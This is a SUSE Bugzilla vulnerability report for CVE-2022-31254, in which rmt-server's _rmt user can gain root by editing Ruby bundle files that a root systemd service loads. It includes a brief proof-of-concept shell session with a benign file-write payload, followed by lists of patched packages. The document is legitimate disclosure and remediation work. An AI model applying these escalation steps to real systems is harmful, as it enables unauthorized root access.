Bugzilla – Bug 1204285
VUL-0: CVE-2022-31254: rmt-server: rmt-server-pubcloud allows to escalate from user _rmt to root
Last modified: 2023-01-10 07:44:42 UTC
+++ This bug was initially created as a clone of Bug #1202936 +++ rmt-server-regsharing.service runs this: ExecStart=/usr/bin/bundle.ruby2.5 exec rake regsharing:sync This uses the bundle in /usr/share/rmt/.bundle. /usr/share/rmt and below is owned by _rmt. So _rmt can edit /usr/share/rmt/.bundle/config and gain code execution as root this way. POC: sh-4.4$ id uid=462(_rmt) gid=464(nginx) groups=464(nginx) sh-4.4$ cp -r /usr/lib64/rmt/vendor/bundle/ /tmp/bundle sh-4.4$ cd /tmp/bundle/ruby/2.5.0/gems/loofah-2.15.0/lib edit loofah.rb and add the code you want to run as root, e.g.: File.open("/out.txt", "w") do |f| f.write("owned") end as root: systemctl start rmt-server-regsharing.service sh-4.4$ ls -l /out.txt -rw-r--r-- 1 root root 5 Oct 8 16:32 /out.txt Impact is limited due to the systemd service hardenings mounting a lot of directories as read only. But I'm pretty sure that this is a more general issue, as this bundle is likely used elsewhere. Opening this now as I'm leaving for today and want to give you a chance to look at this. Please use CVE-2022-31254 for this
SUSE-SU-2023:0021-1: An update that solves one vulnerability and has two fixes is now available. Category: security (important) Bug References: 1204285,1204769,1205089 CVE References: CVE-2022-31254 JIRA References: Sources used: SUSE Linux Enterprise Server for SAP 15 (src): rmt-server-2.10-150000.3.61.1 SUSE Linux Enterprise Server 15-LTSS (src): rmt-server-2.10-150000.3.61.1 SUSE Linux Enterprise High Performance Computing 15-LTSS (src): rmt-server-2.10-150000.3.61.1 SUSE Linux Enterprise High Performance Computing 15-ESPOS (src): rmt-server-2.10-150000.3.61.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
SUSE-SU-2023:0019-1: An update that solves one vulnerability and has two fixes is now available. Category: security (important) Bug References: 1204285,1204769,1205089 CVE References: CVE-2022-31254 JIRA References: Sources used: openSUSE Leap 15.4 (src): rmt-server-2.10-150400.3.9.1 SUSE Linux Enterprise Module for Server Applications 15-SP4 (src): rmt-server-2.10-150400.3.9.1 SUSE Linux Enterprise Module for Public Cloud 15-SP4 (src): rmt-server-2.10-150400.3.9.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
SUSE-SU-2023:0023-1: An update that solves one vulnerability and has two fixes is now available. Category: security (important) Bug References: 1204285,1204769,1205089 CVE References: CVE-2022-31254 JIRA References: Sources used: SUSE Manager Server 4.1 (src): rmt-server-2.10-150200.3.29.1 SUSE Manager Retail Branch Server 4.1 (src): rmt-server-2.10-150200.3.29.1 SUSE Manager Proxy 4.1 (src): rmt-server-2.10-150200.3.29.1 SUSE Linux Enterprise Server for SAP 15-SP2 (src): rmt-server-2.10-150200.3.29.1 SUSE Linux Enterprise Server 15-SP2-LTSS (src): rmt-server-2.10-150200.3.29.1 SUSE Linux Enterprise Server 15-SP2-BCL (src): rmt-server-2.10-150200.3.29.1 SUSE Linux Enterprise Module for Public Cloud 15-SP2 (src): rmt-server-2.10-150200.3.29.1 SUSE Linux Enterprise High Performance Computing 15-SP2-LTSS (src): rmt-server-2.10-150200.3.29.1 SUSE Enterprise Storage 7 (src): rmt-server-2.10-150200.3.29.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
SUSE-SU-2023:0020-1: An update that solves one vulnerability and has two fixes is now available. Category: security (important) Bug References: 1204285,1204769,1205089 CVE References: CVE-2022-31254 JIRA References: Sources used: openSUSE Leap 15.3 (src): rmt-server-2.10-150300.3.21.1 SUSE Manager Server 4.2 (src): rmt-server-2.10-150300.3.21.1 SUSE Manager Retail Branch Server 4.2 (src): rmt-server-2.10-150300.3.21.1 SUSE Manager Proxy 4.2 (src): rmt-server-2.10-150300.3.21.1 SUSE Linux Enterprise Server for SAP 15-SP3 (src): rmt-server-2.10-150300.3.21.1 SUSE Linux Enterprise Server 15-SP3-LTSS (src): rmt-server-2.10-150300.3.21.1 SUSE Linux Enterprise Server 15-SP3-BCL (src): rmt-server-2.10-150300.3.21.1 SUSE Linux Enterprise Realtime Extension 15-SP3 (src): rmt-server-2.10-150300.3.21.1 SUSE Linux Enterprise Module for Server Applications 15-SP3 (src): rmt-server-2.10-150300.3.21.1 SUSE Linux Enterprise Module for Public Cloud 15-SP3 (src): rmt-server-2.10-150300.3.21.1 SUSE Linux Enterprise High Performance Computing 15-SP3-LTSS (src): rmt-server-2.10-150300.3.21.1 SUSE Linux Enterprise High Performance Computing 15-SP3-ESPOS (src): rmt-server-2.10-150300.3.21.1 SUSE Enterprise Storage 7.1 (src): rmt-server-2.10-150300.3.21.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
SUSE-SU-2023:0022-1: An update that solves one vulnerability and has two fixes is now available. Category: security (important) Bug References: 1204285,1204769,1205089 CVE References: CVE-2022-31254 JIRA References: Sources used: SUSE Linux Enterprise Server for SAP 15-SP1 (src): rmt-server-2.10-150100.3.42.1 SUSE Linux Enterprise Server 15-SP1-LTSS (src): rmt-server-2.10-150100.3.42.1 SUSE Linux Enterprise Server 15-SP1-BCL (src): rmt-server-2.10-150100.3.42.1 SUSE Linux Enterprise Module for Public Cloud 15-SP1 (src): rmt-server-2.10-150100.3.42.1 SUSE Linux Enterprise High Performance Computing 15-SP1-LTSS (src): rmt-server-2.10-150100.3.42.1 SUSE Enterprise Storage 6 (src): rmt-server-2.10-150100.3.42.1 SUSE CaaS Platform 4.0 (src): rmt-server-2.10-150100.3.42.1 NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.
we should be good here. Thanks Nate